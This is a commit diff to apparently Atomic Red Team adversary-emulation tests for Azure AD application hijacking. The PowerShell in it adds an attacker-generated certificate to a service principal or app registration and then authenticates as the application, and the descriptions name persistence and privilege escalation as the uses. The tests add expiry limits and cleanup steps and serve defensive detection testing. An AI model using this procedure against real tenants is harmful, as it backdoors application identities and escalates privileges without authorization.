Fix bug where the search returns multiple objects by selecting only the first (#2235)
The issue was that "Get-AzureADServicePrincipal" and "Get-AzureADApplication" may return several results matching the provided name which is not handled properly by the code which will crash. The solution is to select only the first object. I took the opportunity for a couple minor improvements in the code of those two tests.
This commit is contained in:
@@ -4,8 +4,8 @@ atomic_tests:
|
||||
- name: Azure AD Application Hijacking - Service Principal
|
||||
auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406
|
||||
description: |
|
||||
Add a certificate to an Application through its Service Principal.
|
||||
The certificate can then be used to authenticate as the application and benefit from its rights.
|
||||
Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.
|
||||
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
|
||||
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
|
||||
supported_platforms:
|
||||
- azure-ad
|
||||
@@ -43,16 +43,18 @@ atomic_tests:
|
||||
Import-Module -Name AzureAD
|
||||
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
||||
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
|
||||
Connect-AzureAD -Credential $Credential
|
||||
Connect-AzureAD -Credential $Credential > $null
|
||||
|
||||
$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
|
||||
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
|
||||
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
|
||||
|
||||
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
|
||||
$certNotAfter = (Get-Date).AddDays(2)
|
||||
$credNotAfter = (Get-Date).AddDays(1)
|
||||
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
|
||||
Write-Host "Generated certificate ""$thumb"""
|
||||
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
|
||||
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd
|
||||
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd > $null
|
||||
|
||||
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd)
|
||||
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
|
||||
@@ -60,36 +62,35 @@ atomic_tests:
|
||||
New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
|
||||
|
||||
Start-Sleep -s 30
|
||||
$tenant=Get-AzureADTenantDetail
|
||||
$tenant = Get-AzureADTenantDetail
|
||||
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb
|
||||
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
|
||||
Write-Host "End of Hijacking"
|
||||
|
||||
cleanup_command: |
|
||||
try {
|
||||
Import-Module -Name AzureAD -ErrorAction Ignore
|
||||
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
||||
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
|
||||
Connect-AzureAD -Credential $Credential -ErrorAction Ignore
|
||||
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
|
||||
|
||||
$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
|
||||
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
|
||||
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
|
||||
foreach ($cred in $credz) {
|
||||
if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
|
||||
Write-Host "Removed $($cred.KeyId) key from SP"
|
||||
Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
|
||||
}
|
||||
}
|
||||
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
|
||||
rm "#{path_to_cert}\#{service_principal_name}.pfx"
|
||||
} catch {}
|
||||
rm "#{path_to_cert}\#{service_principal_name}.pfx" -ErrorAction Ignore
|
||||
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Azure AD Application Hijacking - App Registration
|
||||
auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a
|
||||
description: |
|
||||
Add a certificate to an Application through its App Registration.
|
||||
The certificate can then be used to authenticate as the application and benefit from its rights.
|
||||
Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.
|
||||
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
|
||||
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
|
||||
supported_platforms:
|
||||
- azure-ad
|
||||
@@ -127,15 +128,18 @@ atomic_tests:
|
||||
Import-Module -Name AzureAD
|
||||
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
||||
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
|
||||
Connect-AzureAD -Credential $Credential
|
||||
Connect-AzureAD -Credential $Credential > $null
|
||||
|
||||
$app = Get-AzureADApplication -Searchstring "#{application_name}"
|
||||
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
|
||||
if ($app -eq $null) { Write-Warning "Application not found"; exit }
|
||||
|
||||
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
|
||||
$certNotAfter = (Get-Date).AddDays(2)
|
||||
$credNotAfter = (Get-Date).AddDays(1)
|
||||
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
|
||||
Write-Host "Generated certificate ""$thumb"""
|
||||
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
|
||||
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd
|
||||
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd > $null
|
||||
|
||||
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd)
|
||||
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
|
||||
@@ -143,27 +147,26 @@ atomic_tests:
|
||||
New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
|
||||
|
||||
Start-Sleep -s 30
|
||||
$tenant=Get-AzureADTenantDetail
|
||||
$tenant = Get-AzureADTenantDetail
|
||||
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb
|
||||
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
|
||||
Write-Host "End of Hijacking"
|
||||
cleanup_command: |
|
||||
try {
|
||||
Import-Module -Name AzureAD -ErrorAction Ignore
|
||||
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
|
||||
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
|
||||
Connect-AzureAD -Credential $Credential -ErrorAction Ignore
|
||||
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
|
||||
|
||||
$app = Get-AzureADApplication -Searchstring "#{application_name}"
|
||||
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
|
||||
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
|
||||
foreach ($cred in $credz) {
|
||||
if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
|
||||
Write-Host "Removed $($cred.KeyId) key from application"
|
||||
Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
|
||||
}
|
||||
}
|
||||
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
|
||||
rm "#{path_to_cert}\#{application_name}.pfx"
|
||||
} catch {}
|
||||
rm "#{path_to_cert}\#{application_name}.pfx" -ErrorAction Ignore
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: AWS - Create Access Key and Secret Key
|
||||
|
||||
Reference in New Issue
Block a user